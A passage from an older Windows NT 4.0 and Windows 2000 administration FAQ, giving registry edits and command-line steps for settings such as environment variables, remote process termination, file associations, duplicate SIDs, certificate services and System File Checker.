  3. Double click on the variable, e.g. temp and edit the value. Once complete click OK
  4. Close the registry editor

A final method from the command line is to use the SET command

C:\> set temp=d:\temp

Most Windows applications such as Word check the variable 'tmp' for the location of temporary files and not 'temp' so make sure you modify 'tmp' and not just 'temp'.


Q. How do I modify system variables?

A. As with user variables, these can be changed using the system control panel applet:

  1. Start the System control panel applet
  2. Select the Environment tab
  3. Under "System Variables" select a variable and its value will be displayed. Modify it in the Value box and click Set.
  4. Once you have made all changes click Apply then OK

Alternatively you can directly edit the registry to make these changes

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
  3. Double click on the variable, e.g. Path and edit the value. Once complete click OK
  4. Close the registry editor

A final method from the command line is to use the SET command

C:\> set OS=OS2 DON'T do this :-)


Q. How do I disable the ability to change password?

A. Service Pack 4 introduces a new registry entry.

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
  3. From the Edit menu select New - DWORD value
  4. Enter a name of DisableChangePassword and press Enter
  5. Double click on the new value and set to 1. Click OK
  6. Close the registry editor

Change Password when you press Ctrl-Alt-Del will now be greyed out.


Q. How do I stop a process on a remote machine?

A. If you are playing a multi-player game of Quake and are about to get killed for the sixth time just stop the opponents Quake process :-) (always works for me). To stop a remote process perform the following:

Note: The utilities discussed are part of the NT Resource Kit.

The target machine must have the RKILLSRV.EXE service running (either from the command line or installed as a service). To install as a service enter the command

C:\> instsrv rkillsrv c:\ntreskit\RKILLSRV.EXE

This will install the executable as a service and set its start-up to automatic so it will restart at every boot-up. After being installed the service will not be started and so if it is to be used before a reboot you should start via the services control panel applet or start from the command line using

C:\> net start rkillsrv

Once the service has been configured and started on the remote machine processes can be manipulated from client machines by users who have Administrative privileges via the command line RKILL.EXE and the GUI WRKILL.EXE utilities.

To view the running processes with the command line tool type

C:\> rkill /view \\<machine name>
e.g. rkill /view \\nt4pdc

Once you have identified the process to stop enter the command

C:\> rkill /kill \\<machine name> <process id>
e.g. rkill /kill \\nt4pdc 84

Using the GUI utility, WRKILL.EXE, the process is simpler and allows you to stop a process by selecting it and clicking "Kill Selected Process". Click Yes to the confirmation and then OK to the success dialog.

Bye, bye quake, 1-0 to me! :-)


Q. How do I install the Security Configuration Editor?

A. The Security Configuration Editor, SECEDIT.EXE, is a new utility that forms part of Service Pack 4 however due to Microsoft's pledge not to provide new functionality with service packs previously the utility was only available on the service pack 4.0 CD. After public demand a web download version is available from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/tools/SCM/SCESP4I.EXE.

Once downloaded you should execute the file and select an extraction directory.

Once the extraction is complete move to the extracted file directory and double click on MSSCE.EXE to install.

The installation installs two versions of SCE (Security Configuration Editor) a GUI and command line version. If you only wanted to install the command line tool enter the command

C:\> mssce /c /s

The /c means command line only, and the /s means silent install (no prompts).

The SCE is a Microsoft Management Console snap-in and so to use you must follow the steps below:

  1. Start MMC (mmc.exe)
  2. From the Console menu select "Add/Remove Snap-in"
  3. Click the Add button
  4. Select Security Configuration Manager and click OK
  5. Click OK to the main dialog

You may want to save this configuration

  1. Select Save As from the Console menu
  2. Enter a name of secedit and click Save
  3. It will be added to the "My Administrative Tools" program folder.

To edit a configuration expand the Configurations branch and the directory and select a configuration.

Setting the shutdown using the Security Configuration Editor

Once you have modified a configuration and saved it you need to activate it.

  1. Right click on database and select "Import Configuration"
  2. Select a security configuration file (a .inf file) and click open
  3. Right click again and select "Configure system now"
  4. Select a log file name and location.
  5. The policy will be applied to the system


Q. How can I get the cool UI effects to work on my P166 computer?

Q. How can I get the cool UI effects to work on my P166 computer? - Windows 2000 only

A. Windows 2000 comes with a number of really cool UI effects, e.g. gradient captions, menu fade-in, cursor shadow, etc..

Most of the UI effects are controlled via a checkbox in the Display Properties applet (go to the Effects tab and select Animate windows, menus and lists). The cursor shadow effect can be turned on/off via the Mouse Properties applet (Pointers / Enable pointer shadow).

Contributed by Thomas Lee


Q. How do I increase the number of Page Table Entries on my system?

A. To change the number of Page Table Entries (or System Pages) which are used for mapping I/O buffers and other information into the system address space perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
  3. Double-click SystemPages value and chose Decimal. Enter the amount of PTEs you need in the Data text box. Click OK. The maximum value is 50,000.
  4. Reboot the computer for the change to take effect.

By default the value is 0 which means use the system default.


Q. How can I change the short date format from yy to yyyy?

A. Due to Year 2000 concerns you may want the NT short date format to show 4 digit years as opposed to the short 2 digit version. The normal method is as follows:

  1. Start the Regional Control Panel Applet (Start - Settings - Control Panel - Regional)
  2. Select the Date tab
  3. Select 'M/d/yyyy' and click Apply
  4. Click OK
  5. Close the dialog

All this actually does is set the registry entry HKEY_CURRENT_USER\Control Panel\International\sShortDate and so you can use this to automate the update. For example using the REG.EXE utility, e.g.

C:\> reg update "HKCU\Control Panel\International\sShortDate=M/d/yyyy"

This could be incorporated in a login script or even a custom system policy.

You will also notice under the registry key the long date format can be set by changing sLongDate.

An alternate solution to set for new systems is by using an unattended installation, make the sShortDate change as part of the CMDLINES.TXT setup. This is then adopted by admin and any new accounts created on the workstation. Sample code:

***** CMDLINES.TXT *****
"rundll32 setupapi InstallHinfSection DefaultInstall 128 .\y2k.inf"
***** EOF ********

*** y2k.inf ***
[Version]
Signature="$Windows NT$"

[DefaultInstall]
AddReg=AddReg

[AddReg]
HKU,".DEFAULT\Control Panel\International","sShortDate",,"M/d/yyyy"
*** EOF ***


Q. How do I enable fast reboot on 4.0 SP3 and above?

A. Service Pack 3 introduces a new ability to reboot the machine by pressing <Shift>-<Ctrl>-<Alt>-<Delete> at the same time (basically the normal three finger plus shift). This will then shutdown all applications and reboot the machine. To enable this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select New - String Value
  4. Enter a name of EnableQuickReboot
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor
  7. Reboot the machine for the change to take effect

An event will also be written to the System Event Log (viewable using the Event Viewer):

Event ID - 6008
The previous system shutdown at <time> on <date> was unexpected.


Q. How can I create a program alias?

A. It is possible to create an alias for a program, for example to define johnword.exe to actually run winword.exe. To do this perform the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
  3. From the Edit menu select New - Key
  4. Enter the name of the alias, e.g. johnword.exe and press Enter
  5. Move to the new key and double click on the (Default) value (it is blank by default)
  6. Set to the fully qualified file name it should run, e.g. C:\Program Files\Microsoft Office\Office\winword.exe. Click OK
  7. Optionally you can create a new String called Path which is where the program will first start running (Edit - New - String Value - Path, double click and set to the starting path)
  8. Close the registry editor

If you now select Run from the start menu and type johnword.exe it would start Microsoft Word, cool!

If you type your alias from the command prompt it will not find it, however if you type

C:\> start <alias name>

it will work fine.

The actual program name does not have to be an .exe program -- it can be any file that has an association (such as "C:\temp\ntfaq.url"). The alias itself can remain as an .exe.

If the alias is an .exe, then the "run" or "start" command does not need to include the extension. If the alias is NOT an .exe, then you need to use the full name but then you are not limited to any extensions (but it must have some extension). Your alias can be John.Savill which you have aliased to "C:\ProgramYadaYadaYada\Winword.exe" and Word will start up just fine.


Q. How can I share my clipbook with other machines?

A. Windows NT machines have a built-in Clipbook server service which allows other machines to use its clipbook and this is enabled as follows:

  1. Start the Services Control Panel Applet (Start - Settings - Control Panel - Services)
  2. Select ClipBook Server and click Start
  3. You can also click Startup and set to Automatic so the service will start at each reboot.
  4. Click Close

You can also start the service from the command line by entering the command

C:\> net start clipsrv

or

C:\> net start "clipbook server"

You can then copy your data to the clipboard as normal by pressing Ctrl + C, PrtScn or Alt + PrtScn (to only copy the current window).

  1. Start the clipboard viewer (Start - Programs - Accessories - Clipboard viewer)
  2. From the Edit menu select Paste and enter a name that this data will be known as (for example Cat, though not if its a picture of a dog :-) ) and check the "Share Item Now" box
  3. Just click OK to the next dialog which is about starting an application

From the client perform the following:

  1. Start the clipboard viewer (Start - Programs - Accessories - Clipboard viewer)
  2. From the File menu select Connect
  3. Enter the machine running the Clipbook server service
  4. A window showing the machines list of clips will be shown
  5. Double click on one to display the data. You can then select Copy from the Edit menu to copy into the clients local clipboard


Q. How can I stop tips showing on startup?

A. To stop tips for the current user you can uncheck the display checkbox on the dialog when it is displayed or edit the registry:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips
  3. Double click 'show'
  4. Change the 01 to 00
  5. Click OK
  6. Close the registry editor

To stop it being shown for new users edit the the value under HKEY_USERS\.DEFAULT and set to 0 which new users will inherit. This works under Windows 2000.


Q. How can I configure Outlook Express to be the default News reader?

A. To configure Outlook Express as the default News reader perform the following:

  1. Start Outlook Express
  2. From the Tools menu select Options
  3. Select the General tab
  4. At the bottom of the dialog box click the 'Make Default' button next to the 'This application is NOT the default News handler'.

You can also manually perform the change by making the following registry changes:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\news\DefaultIcon
  3. Double click (Default) and change to "%SystemDrive%\Program Files\Outlook Express\msimn.exe,-3" (don't type the quotes)
  4. Move to HKEY_CLASSES_ROOT\news\shell\open\command
  5. Double click (Default) and change to
    "%SystemDrive%\Program Files\Outlook Express\msimn.exe" /newsurl:%1 (do type the quotes)
  6. Move to HKEY_CLASSES_ROOT\snews\DefaultIcon
  7. Double click (Default) and change to "%SystemDrive%\Program Files\Outlook Express\msimn.exe,-3" (don't type the quotes)
  8. Move to HKEY_CLASSES_ROOT\snews\shell\open\command
  9. Double click (Default) and change to
    "%SystemDrive%\Program Files\Outlook Express\msimn.exe" /newsurl:%1 (do type the quotes)
  10. Move to HKEY_CLASSES_ROOT\nntp\DefaultIcon
  11. Double click (Default) and change to "%SystemDrive%\Program Files\Outlook Express\msimn.exe,-3" (don't type the quotes)
  12. Move to HKEY_CLASSES_ROOT\nntp\shell\open\command
  13. Double click (Default) and change to
    "%SystemDrive%\Program Files\Outlook Express\msimn.exe" /newsurl:%1 (do type the quotes)
  14. Close the registry editor
  15. Reboot the machine


Q. How can I modify the My Computer text to show logged on username and machine name?

A. It may be useful to have the My Computer icon to show the current logged on user and computer name and this can be configured as follows:

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
  3. Select the <No Name> value and Delete
  4. From the Edit menu select 'Add Value'
  5. Leave the value name blank and set the type to REG_EXPAND_SZ
  6. Click OK and enter the text
    User: %USERNAME% on: %COMPUTERNAME%
  7. Click OK
  8. Click on the desktop and press F5 (for refresh) and the change takes effect

Without changing the value type to REG_EXPAND_SZ the %username% and %computername% does not get expanded to the actual user name and computer name. This works for Windows NT 4.0, for Windows 2000 perform the following:

  1. Start the registry editor (regedt32.exe)
  2. Move to HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
  3. Double-click the value LocalizedString to edit and cut'n'paste the contents to somewhere safe. It will be something like:
    @D:\WINNT\system32\shell32.dll,-9216@1033,My Computer
  4. Use Registry/Save Subkey to save the current entry.
  5. Delete the value LocalizedString.
  6. Create a new value named LocalizedString of type REG_EXPAND_SZ and paste in the content saved at step 3). Edit the text 'My Computer' at the end of the string and change it to '%USERNAME% on %COMPUTERNAME%', for example to:
    @D:\WINNT\system32\shell32.dll,-9216@1033,%username% on %computername%
  7. Right-click on the desktop and choose Refresh, if you have desktop icons shifted to the taskbar, right-click on the desktop section and choose Refresh.

Last updated 11 September 1999


Q. How do I enable live scrolling on Word 97?

A. In Office 2000, in particular Word 2000, when you move through a Word document using the scroll bar the page update happens dynamically. Under Word 97 the update does not occur until you release the mouse button. Live scrolling can be enabled under Word 97 as follows:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options
  3. From the Edit menu select New - String Value
  4. Enter a name of LiveScrolling and press Enter
  5. Double click the new value and set to 1. Click OK
  6. Restart Word and the screen will update as you move the scroll bar and not just when its released.


. A useful tip for navigating in Explorer and the Registry Editor.

Q. A useful tip for navigating in Explorer and the Registry Editor.

A. Not really a question, but something handy I picked up.

If you start Explorer (or anything that has an Explorer interface including RegEdit) and select a parent directory, pressing the '*' on the numeric keypad will expand every subfolder. Pressing the '-' key on the numeric keypad will then collapse it again.


Q. How can I automatically kill hung processes when I logoff?

A. When you tell NT to shut down, it first sends shutdown requests to any running processes. Most 32-bit applications honour these requests and shut down, but older 16-bit apps running in the Virtual DOS Machine often won't. When this occurs, the operating system prompts you with a dialog box asking if you want to kill the task, wait for the task to die on its own, or cancel the shutdown. By modifying the Registry, you can automate this process.

You can force NT to kill all running processes on shutdown by performing the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CURRENT_USER\Control Panel\Desktop
  3. If a value "AutoEndTasks" does not exist from the Edit menu select New - String Value. Enter a name of AutoEndTasks and press Enter
  4. Double click on AutoEndTasks and set to 1. Click OK
  5. Close the registry editor

You can also add this key to HKEY_USERS\.DEFAULT\Control Panel\Desktop for new users to inherit.


Q. How can I change the Info Tip for icons?

Q. How can I change the Info Tip for icons? - Windows 2000

A. In Windows 2000 when you move the cursor over an icon (such as My Network Places or My Computer) text is displayed explaining the icons use.

This text is stored in a registry entry InfoTip of type String for each CLSID entry and can be changed to any text you want.

For example to change the My Network Places text:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}
  3. Double click InfoTip and change. Click OK
  4. Close the registry editor

The change take immediate effect.

Other useful entries are (all under HKEY_CLASSES_ROOT\CLSID\):

{20D04FE0-3AEA-1069-A2D8-08002B30309D} | My Computer
{450D8FBA-AD25-11D0-98A8-0800361B1103} | My Documents
{645FF040-5081-101B-9F08-00AA002F954E} | Recylce Bin
{00020D75-0000-0000-C000-000000000046} | Microsoft Outlook
{21EC2020-3AEA-1069-A2DD-08002B30309D} | Control panel
{2227A280-3AEA-1069-A2DE-08002B30309D} | Printers
{7007ACC7-3202-11D1-AAD2-00805FC1270E} | Network and dial-up connections
{85BBD920-42A0-1069-A2E4-08002B30309D} | Briefcase
{871C5380-42A0-1069-A2EA-08002B30309D} | Internet Explorer
{BDEADF00-C265-11d0-BCED-00A0C90AB50F} | Web Folders


Q. How can I control who can eject ZIP disks?

Q. How can I control who can eject ZIP disks? - Windows 2000

A. Windows 2000 introduces a new registry key which allows you to configure who can eject ZIP disks:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select New - String Value
  4. Enter a name of AllocateDASD and press Enter
  5. Double click the new value and set to:
    0 = Admins only can eject
    1 = Admins and power users
    2 = Admins and the interactive user (this allows normal users)
    Click OK
  6. Close the registry editor
  7. Reboot the computer

I have been informed that the above also works on NT 4.0 as long as you run the undocumented IomegaAccess utility included in the latest Iomegaware download. This utility installs a service that grants all users rights to format, eject, etc. Note that the program must be run from the hard drive, as the service defaults to referencing the installation directory on startup.


Q. How can I configure monitor power off for the logon screen?

Q. How can I configure monitor power off for the logon screen? - Windows 2000

A. If you select the Screen Saver tab of the Desktop control panel applet you can configure Power saving settings which include powering off the monitor after x minutes. To enable the monitor to power off for the logon screen perform the following on each machine:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_USERS\.DEFAULT\Control Panel\Desktop
  3. Double click PowerOffActive and set to 1. Click OK
  4. Double click ScreenSaveActive and set to 1. Click OK
  5. Double click SCRNSAVE.EXE (if present) and set to "(NONE)" (don't type the quotes). Click OK
  6. Move to HKEY_USERS\.DEFAULT\Control Panel\PowerCfg
  7. Double click CurrentPowerPolicy and set to 0 (the Home/Office Desk power setting configuration). Click OK
  8. Close the registry editor
  9. Reboot the machine

To change the settings such as monitor timeout change the settings on your local profile, export HKEY_CURRENT_USER\Control Panel\PowerCfg\PowerPolicies\0 to a file and import to HKEY_USERS\.DEFAULT\Control Panel\PowerCfg\PowerPolicies\0.

If you need to do this on lots of machines create an .adm file and set as part of the system policy.


Q. What are the problems with workstations having the same SID?

A. At the start of the GUI phase of installation each NT/2000 installation generates a unique Security IDentifier (SID). If you then clone a workstation each installation would have the same machine SID. This is not a problem in a Windows NT 4.0 domain as users have a SID generated by the domain controller and do not user the local workstation SID for security. It IS a problem in a Windows 2000 domain as the local machine SID is used in nearly all aspects of security and before migrating to 2000 you should resolve any duplicate SID issues which may have been caused by cloning installations.

Duplicate local SID's are also a very big security risk in Workgroups, lets look further.

In a workgroup the user accounts are based on the local workstation SID plus a relative identifier (RID), if all the workstations had the same SID then the first account generated (and so forth) on each workstation is the same because of the duplicate local SID. This makes it impossible to secure files and folders on a user basis since different users will have the same SID and all security is based on the user SID.

An example illustrates this best:

Two workstations, wstation1 and wstation2 deployed using cloning software each have duplicated SID's.

User John on wstation1 has a local machine account on wstation1 of S-1-5-34-148593445-285934854-2859284934-1010.

User Kevin on wstation2 has a local machine account on wstation1 of S-1-5-34-148593445-285934854-2859284934-1010.

User John saves private work on an NTFS drive and creates a share called private that only he can access. If Kevin browses the network and attempts connection he will have full access as his SID is identical to John's. There is no way to differentiate between them. Expand this to 100 machines installed via duplication all with the same local SID then you can see you have no security. Any files stored on removable media with security would also be vulnerable.

Microsoft has a tool, SYSPREP, which can be used on a workstation system BEFORE cloning which resolves the SID problem by generating a new SID when the new cloned installations are started. SYSPREP is provided as standard in Windows 2000 and a version for 4.0 can be requested from Microsoft.

SYSPREP does have a few "problems" on Windows member servers as if a server with several local accounts is cloned the SID of any extra accounts are not updated, only the two primary accounts, Administrator and Guest are fixed. This means other accounts would be left with the old SID and thus considered orphaned.

Other SID fixing utilities are:

  • SIDchanger - http://www.powerquest.com
  • GHOST Walker - http://www.ghostsoft.com
  • NTSID - http://www.sysinternals.com


Q. Where is timezone information stored in NT/2000?

Q. How can I disable daylight saving time changes?

A. Start the Date/Time control panel applet, select the 'Time Zone' tab and unselect the "Automatically adjust clock for daylight saving".

It can also be done directly in the registry

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation
  3. From the edit menu select New - DWORD value
  4. Enter a name DisableAutoDaylightTimeSet and press enter
  5. Double click the new value and set to 1. Click OK
  6. Close the registry editor


Q. How can I improve I/O performance?

A. If your system is fairly I/O intensive, you may benefit from raising the I/O Page Lock Limit, which can increase the effective rate the OS reads or writes data to the hard disks.

First, benchmark your common tasks. See how long it takes to load and save large files, how long it takes to search a database or run a common program; just do your normal tasks, timing them to record how fast they are. Then follow these steps:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
  3. Double click IoPageLockLimit
  4. Enter a new value.
    This value is the maximum bytes you can lock for I/O operations. A value of 0 defaults to 512KB. Raise this value by 512KB increments (enter "512", "1024", etc.), then exit regedit.exe and benchmark your system after each adjustment. When an increase does not give you a significant performance boost, go back and undo the last increment.
    Caution: There is a limit to this. Do not set this value (in bytes) beyond the number of megabytes of RAM times 128. That is, if you have 16 MB RAM, do not set IoPageLockLimit over 2048 bytes; for 32MB RAM, do not exceed 4096 bytes, and so on.
    Click OK.
  5. Close the registry editor

Unless you do little I/O, this should give you a significant boost in performance.

I have recently learned that this value specifies the maximum amount of application memory that can be locked into physical memory at any given point in time. Device drivers typically lock user buffers in order to transmit them to a hardware device. If the limit is exceeded an I/O operation will simply return a STATUS_QUOTA_EXCEEDED error to the application. Thus, the value should only be raised if I/O operations begin returning this error, and it has absolutely no effect on performance.


Q. How can I configure the Windows 2000 System File Checker?

A. Windows 2000 includes a new component which protects system files by scanning all protected system files and replaces incorrect versions with correct Microsoft versions.

It is possible to modify the behavior of this protection using the SFC.EXE utility (you must be a member of the Administrators group).

SFC [/SCANNOW] [/SCANONCE] [/SCANBOOT] [/CANCEL] [/PURGECACHE] [/CACHESIZE=x] [/QUIET]

/SCANNOW Scans all protected system files immediately.
/SCANONCE Scans all protected system files once at the next boot.
/SCANBOOT Scans all protected system files at every boot.
/CANCEL Cancels all pending scans of protected system files.
/QUIET Replaces all incorrect file versions without prompting the user.
/PURGECACHE Purges the file cache and scans all protected system files immediately.
/CACHESIZE=x Sets the file cache size

Setting the Quiet options updates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable and the other options modify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCScan.

You can disable SFC by performing the following:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  3. From the Edit menu select New - DWORD value
  4. Enter a name of EnableFileProtection, press enter
  5. Double click the value and set to 0
  6. Close the registry editor


Q. How to I install an Enterprise Certificate Authority?

Q. How to I install an Enterprise Certificate Authority? - Windows 2000

A. A certificate server provides a trusted authority confirming a private key is who he/she says they are. A hierarchy of certificate servers will normally used in a domain with a Enterprise root CA which grants itself a certificate and then subordinate CA which are given their certificates by the root but can then grant normal certificates to users etc.

An Enterprise Certificate Authority is needed in a domain to allow clients to request certificates, for example an Encrypted File System recovery certificate. To install perform the following:

  1. Start the Add/Remove Programs Control Panel applet (Start - Settings - Control Panel - Add/Remove Programs)
  2. Click 'Add/Remove Windows Components'. The Windows Components wizard will start
  3. Click Next at the welcome screen
  4. A list of components will be displayed, check the 'Certificate Services' box and click Next
  5. You will be asked for the type:
    - Enterprise root CA
    - Enterprise subordinate CA
    - Stand-alone root CA
    - Stand-alone subordinate CA
    Select the first option, "Enterprise root CA" and click Next
  6. Enter a CA name and other information about the organization. Click Next
  7. Accept the default location for the certificate database (%systemroot%\System32\CertLog). Click Next
  8. If the IIS service is running it will be stopped and a dialog displayed, click OK.
  9. A list of files to be copied will be created and the files installed along with any service and system configuration, you may be asked for the 2000 Server CD
  10. Click Finish to the wizard when complete

The Certificate Authority MMC snap-in will now have a shortcut in the Administrative Tools folder.


Q. How do I create a Certificate Trust List for the domain?

Q. How do I create a Certificate Trust List for the domain? - Windows 2000

A. You need to configure each domain with a list of Certificate Authorities that it trusts to allow users of the domain to request certificates. You first need to install an Enterprise Certificate Authority.

You also need to ensure you have an Administrator certificate (or an explicit Trust Signing certificate) which can be requested as follows:

  1. Start the MMC console (Start - Run - MMC)
  2. From the Console menu select 'Add/Remove Snap-in...'
  3. Click Add
  4. Select Certificates and click Add
  5. Select 'My user account' as the type and click Finish
  6. Click Close
  7. Click OK to the main dialog
  8. Expand the Certificates root and right click on Personal
  9. Select 'Request New Certificate' from the 'All Tasks' menu
  10. Click Next to the Certificate Request Wizard
  11. Select template 'Administrator' and click Next
  12. Enter a friendly name and description. Click Next
  13. A confirmation screen will be displayed. Click Finish
  14. A dialog will be displayed confirming creation of the certificate. Click 'Install Certificate'. Click OK to the success dialog

You can view the certificate using the Certificates MMC snap-in and see its been issued by the Enterprise CA rather than local Administrator:

To create the Certificate Trust List perform the following:

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Right click on the domain and select Properties
  3. Click the 'Group Policy' tab
  4. Select the 'Default Domain Policy' (or other policy) and click Edit
  5. Expand User Configuration - Windows Settings - Security Settings - Public Key Policies - Enterprise Trust
  6. Right click on Enterprise Trust and select New - Certificate Trust List
  7. The Certificate Trust List wizard will be started. Click Next
  8. You can enter a prefix for the CTL and the purpose, e.g. Encrypting File System. Click Next
  9. You must now select a certificate, click Add from Store, select a domain certificate and click OK. Click Next
  10. You now need to select a signature (the Administrator created in the last section). Click 'Select from Store'. Select a certificate displayed and click OK. Click Next
  11. You can optionally add a timestamp. Click Next
  12. Enter a friendly name and description. Click Next
  13. Click Finish to the summary page.
  14. Click OK on the success dialog


Q. How can I lock a workstation from the command line?

A. Windows 2000 enables you to lock the workstation by typing the following command

C:\> rundll32.exe user32.dll,LockWorkStation

You could also use this as a shortcut on you desktop.


Q. How do I create a default association for files with no extension?

A. Normal files with an extension can have a program associated however this is not the case with files that don't have an extension. If you double click on one and select an application and check the box to always use that application it is ignored and every time you select a file you have to choose the application.

You can force this using the registry:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT
  3. From the Edit menu select New - Key
  4. Enter a name of '.' and press Enter (don't type the quotes)
  5. Select the new '.' key
  6. Double click the (Default) value
  7. Change to the HKEY_CLASSES_ROOT used to open, e.g. NOTEPAD for the notepad.exe application
    NOTEPAD
  8. Click OK

If you now double click on a file with no extension it will open with the application selected.

To check what an existing application used look at its entry under HKEY_CLASSES_ROOT, e.g. HKEY_CLASSES_ROOT\.doc uses Word.Document.8 so if you wanted this as your default editor you would change HKEY_CLASSES_ROOT\.\(Default) to Word.Document.8.

Any method which avoids the need to edit the registry is as follows:

  1. Open Explorer - View - Folder Options... - File Types - New Type:
  2. Description of type: Text (any description, you can type in)
    Associated extension: . (just a period)
    Actions: - new...
    Action: open
    Application used to perform action: c:\winnt\notepad.exe
  3. Click ok, then ok again


Q. How do I create a default association for files with an unknown extension?

A. Files with an unknown extension will bring up an "open with" dialog when you double click on them however it is possible to associate an application with files of an unknown type.

You can force this using the registry:

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_CLASSES_ROOT\Unknown\shell
  3. From the Edit menu select New - Key
  4. Enter a name of 'open' and press Enter (don't type the quotes)
  5. Select the new 'open' key
  6. From the Edit menu select New - Key
  7. Enter a name of 'command' and press Enter (don't type the quotes)
  8. Double click the (Default) value
  9. Change to the application used to open, e.g. "NOTEPAD.EXE %1" for the notepad.exe application (you need %1 to pass the document name to notepad and depending on the application you may need %1 %*)
  10. Click OK

If you now double click on a file with no extension it will open with the application selected.

You can optionally delete the HKEY_CLASSES_ROOT\Unknown\shell\openas key and its content but it is not necessary and it will just remove the open with context menu option.

It is possible to just add a notepad option to the context menu of Unknown by using the existing entry in HKEY_CLASSES_ROOT/Unknown/shell, adding a new key value of NotePad and a new Key value of 'open' underneath Notepad then a new Key called 'command' under open. Set the (Default) value of command to Notepad.exe %1. Registry file to perform this:

REGEDIT4

[HKEY_CLASSES_ROOT\Unknown\shell\notepad]

[HKEY_CLASSES_ROOT\Unknown\shell\notepad\open]

[HKEY_CLASSES_ROOT\Unknown\shell\notepad\open\command]
@="notepad %1"


Q. How do I set DLL files to use their own icon rather than the standard?

A. Windows displays DLL files in Explorer with a generic DLL icon. This generic icon conveys no information about the DLL file, other than the fact that the file is a DLL.

Many DLL files have one or more icons and its possible to have one displayed in Explorer.

  1. Start the registry editor (regedit)
  2. Move to HKEY_CLASSES_ROOT\dllfile\DefaultIcon
  3. Double click (Default) and change from
    %SystemRoot%\System32\shell32.dll,-154
    TO
    %1
  4. Click OK
  5. Close the registry editor


Q. How can I make Explorer show the extension of known file types?

A. Normally Windows Explorer will not show the extension of known file types however you can force Explorer to show them:

  1. Start Explorer
  2. From the View menu select Options
  3. Select the 'View' tab
  4. Unselect the 'Hide file extensions for known file types'
  5. Click OK


Q. What are Super Hidden Files?

A. Windows 2000 introduces Super Hidden Files which as the name implies files which are hidden from the user even more than normal hidden files.

If you example you enable the ability to view hidden files and folders in Explorer these super hidden files/folders will still not be displayed.

This super hidden file status is for folders like the cmdcons folder which is used for the Emergency Recover console.


Q. How can I view Super Hidden Files?

A. Super hidden files/folders can be viewed from the command line as a normal file, you don't even need the /ah dir switch (/ah sets the mode to attribute hidden).

If you wish to view via the GUI, such as Explorer.exe, perform the following:

  1. Start Explorer
  2. From the Tools menu select 'Folder Options'
  3. Select the 'View' tab
  4. Unselect the 'Hide protected operating system files (Recommended)' box
  5. Click Apply then OK

The super hidden files will now be visible in Explorer. This can also be done by directly editing the registry

  1. Start the registry editor (regedit.exe)
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer if using Server (or Advanced Server) or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced if using Professional (Workstation)
  3. If the value does not exist create a value named ShowSuperHidden of type DWORD
  4. Set to 1. Click OK
  5. Close the registry editor


Q. After upgrading from NT 4.0 to Windows 2000 the timeout in boot.ini has been reset to 30.

A. The timeout value which is the amount of time you have to pick your operating system during system startup is defined in the BOOT.INI file. During an upgrade to 2000 this value is reset to 30 no matter what you may have set to in the past. To change back to your preferred value perform the following:

  1. Right-click My Computer on the desktop, and then click Properties.
  2. On the Advanced tab, click Startup and Recovery.
  3. Change the value in the Display list of operating systems for N seconds to the value you want, in seconds.
  4. Click OK, and then click OK.

You can also do this by directly editing boot.ini file and change the timeout value to the number of seconds you require:

[boot loader]
timeout=10

Remember the file boot.ini is a read-only file so you will first need to set it as write enabled:

  1. c:\> attrib boot.ini -r -s -h
  2. Edit boot.ini
  3. c:\> attrib boot.ini +r +s +h (to put the file settings back(


Q. How can I force a check of protected system files in Windows 2000?

A. Windows 2000 includes a new component which protects critical system files and if they are replaced by an application the correct original file will be replaced by the process. This should fix the common "DLL Hell" scenario.

A utility is supplied called SFC.EXE (System File Checker) which can be used to perform various checks and configuration for this service.

To force a check of files at any time just type:

C:\> sfc /scannow

A check of your system files will then be carried out. You may need to insert your Windows 2000 CD-ROM.

You can also use switches:

  • /SCANONCE Scans all protected system files once at the next boot.
  • /SCANBOOT Scans all protected system files at every boot


